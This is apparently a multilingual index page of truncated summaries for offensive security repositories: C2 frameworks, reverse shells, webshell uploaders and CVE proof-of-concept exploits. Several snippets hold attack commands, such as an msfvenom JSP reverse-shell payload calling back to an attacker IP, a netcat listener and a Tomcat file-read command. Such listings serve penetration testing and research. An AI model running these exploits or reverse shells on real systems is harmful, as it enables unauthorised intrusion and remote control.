dns-black-cat

DNS-Black-CatDBC Toolkit multi-piattaforma per una shell DNS C2C interattiva; utilizzando DNS-Black-Cat, sarai in grado di eseguire comandi di sistema in modalità shell su un canale nascosto completamente crittografato. Server realizzato come script Python, che funge da server DNS con le...

fuxploider

fuxploider Fuxploider ist ein Open-Source-Penetrationstest-Tool, das den Prozess der Erkennung und Ausnutzung von Schwachstellen in Dateiupload-Formularen automatisiert. Dieses Tool kann die erlaubten Dateitypen erkennen und herausfinden, welche Technik am besten geeignet ist, um Webshells oder...

CVE-2009-2265

Version: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Beispiel :...

DDexec

DDexec Neuigkeiten Ich habe DDexec so stark überarbeitet, dass es kaum wiederzuerkennen ist. Das Parsing der ELF wird jetzt durch Maschinencode statt durch das Shell-Skript erledigt, was es wesentlich schneller, zuverlässiger und verständlicher macht. Zudem wurde die Anzahl der Abhängigkeiten auf...

cve-2018-9948-9958-exp

2018-9948-9958-exp "getshellcodefrommsf.py" è uno script Python per ottenere lo shellcode da msfvenom; poi copia l'output in exp.pdf sostituendo il blocco dello shellcode 'calc', e infine funziona. Ooooops, è uno shellcode reverse TCP. un esempio di codice è questo: python getshellcodefrommsf.py...

hershell

Hershell NOTE: the project has been forked on this repo, check there for any other developments. Hershell is a simple TCP reverse shell written in Go. It uses TLS to secure the communications, and provide a certificate public key fingerprint pinning feature, preventing from traffic interception...

CVE-2025-31324-File-Upload

CVE-2025-31324-Caricamento-File Un endpoint di caricamento file del tutto non autenticato in Visual Composer permette a chiunque di caricare file arbitrari ad esempio, una web-shell JSP sul server. Strumento proof-of-concept per verificare e sfruttare la vulnerabilità di caricamento file non...

CVE-2022-4510-WalkingPath

CVE-2022-4510-Binwalk Questo script consente di generare exploit per colpire le vulnerabilità Binwalk CVE-2022-4510. Gli exploit possono essere utilizzati per test e dimostrazioni. Le opzioni supportate includono SSH, esecuzione di comandi e reverse shell. Prerequisiti Python 3.x Utilizzo 1. Clon...

CVE-2020-7247-exploit

CVE-2020-7247-exploit OpenSMTPD 6.4.0 - 6.6.1 exploit PoC per esecuzione remota di codice Riferimento: https://www.openwall.com/lists/oss-security/2020/01/28/3 Utilizzo root@kitploit: python3 exploit.py Dipendenze root@kitploit: pip3 install --user pwntools...

CVE-2020-1938

cve-2020-1938 1.Leggi file： python3 tomcat.py URL -f /WEB-INF/web.xml esempio: python3 tomcat.py 127.0.0.1 -f /WEB-INF/web.xml -p 8090 2.Esegui shell add --rec 1 Riferimento: https://www.t00ls.net/articles-55062.html...

hackersh

Hackersh Hackersh "Hacker Shell" ist eine Shell Kommandointerpreter, die in Python geschrieben ist, eine Pythonect-ähnliche Syntax, integrierte Sicherheitsbefehle und direkt einsetzbare Wrapper für verschiedene Sicherheitswerkzeuge bietet. Hello, world Hier ist das kanonische "Hello,...

CVE-2025-20281-2-Cisco-ISE-RCE

CVE-2025-20281-2-Cisco-ISE-RCE Nicht authentifizierter Python-PoC für CVE-2025-20281 RCE gegen die Cisco ISE API CVE-2025-20281 Unauthentifizierter PoC Ein minimaler Python-Proof-of-Concept, der die nicht authentifizierte RCE in der ERS-API von Cisco ISE CVE-2025-20281 ausnutzt, indem beliebige...

CVE-2023-38831_ReverseShell_Winrar-RCE

ERHALTEN EINER REVERSE-SHELL DURCH AUSNUTZUNG DER SCHWACHSTELLE CVE-2023-38831 IN WINRAR In diesem Repository nutzen wir die WinRAR-Schwachstelle CVE-2023-38831 aus, um eine Reverse-Shell vom Windows-Zielrechner auf den Kali-Linux-Angreiferrechner zu erhalten. VORBEREITENDE SCHRITTE Laden Sie den...

PwnTillDawn-Portal-Walkthrough

🔐 Valutazione della Vulnerabilità e Test di Penetrazione VAPT 📌 Progetto: Walkthrough di Sfruttamento del Target ⚠️ Questo progetto è solo per scopi educativi e di test autorizzati. L'accesso non autorizzato ai sistemi è severamente vietato. 👨‍💻 Autore SYAFIQ Ruolo: Penetration Tester Capo 🎯...

staystaystay

staystaystay staystaystay è un exploit proof of concept per CVE-2021-1585, un problema di RCE Remote Code Execution da man-in-the-middle o endpoint malintenzionato che affligge Cisco ASA Device Manager ASDM. Il problema è stato scoperto originariamente da Malcolm Lashley e divulgato nell'estate d...

RCE-in-Spring-Cloud-CVE-2022-22963

Exploit pour RCE dans Spring Cloud CVE-2022-22963 Exploit pour CVE-2022-22963 exécution de commandes à distance dans Spring Cloud Function Voir les détails de la vulnérabilité ici et ici PoC Lancez netcat sur votre hôte : root@kitploit: $ nc -lvnp 9001 Exécutez l'exploit exemple avec le port par...

zuthaka

A collaborative free open-source Command & Control integration framework that allows developers to concentrate on the core function and goal of their C2. Explore the docs » · Report Bug · Request Feature · Table of Contents 1. About The Project Problem statement Solution Built With 2. Already...

CVE-2015-4852

CVE-2015-4852 Prerequisito: è necessario posizionare ysoserial.jar nella directory dello script rinominare ysoserial-0.jar in ysoserial.jar, è preferibile eseguire lo script su Kali Linux 1. Utilizzo: root@kali: python3 CVE-2015-4852.py -h Usage: python CVE-2015-4852.py -t/--target 1.1.1.1 7001...

cve-2016-0728-testbed

CVE-2016-0728 Testumgebung Dieses Repository enthält ein Testprogramm für CVE-2016-0728, einen Refcount-Leak und Overflow-Bug in Linux, der zu einem Use-After-Free führt. Der Bug wurde von Perception Point gefunden und erklärt. Ich bin nicht mit ihnen verbunden. Verwendung root@kitploit: Welcome ...

CVE-2025-6019_Exploit

CVE-2025-6019Exploit Primo passo: esegui 1.sh su un dispositivo Linux per costruire xfs.image Secondo passo: trasferisci xfs.image sul dispositivo vittima ed esegui 2.sh. Di seguito un esempio di successo: root@kitploit: neko@aosc-neko205 tmp $ bash 2.sh 当前用户: neko uid=1000neko gid=1001neko...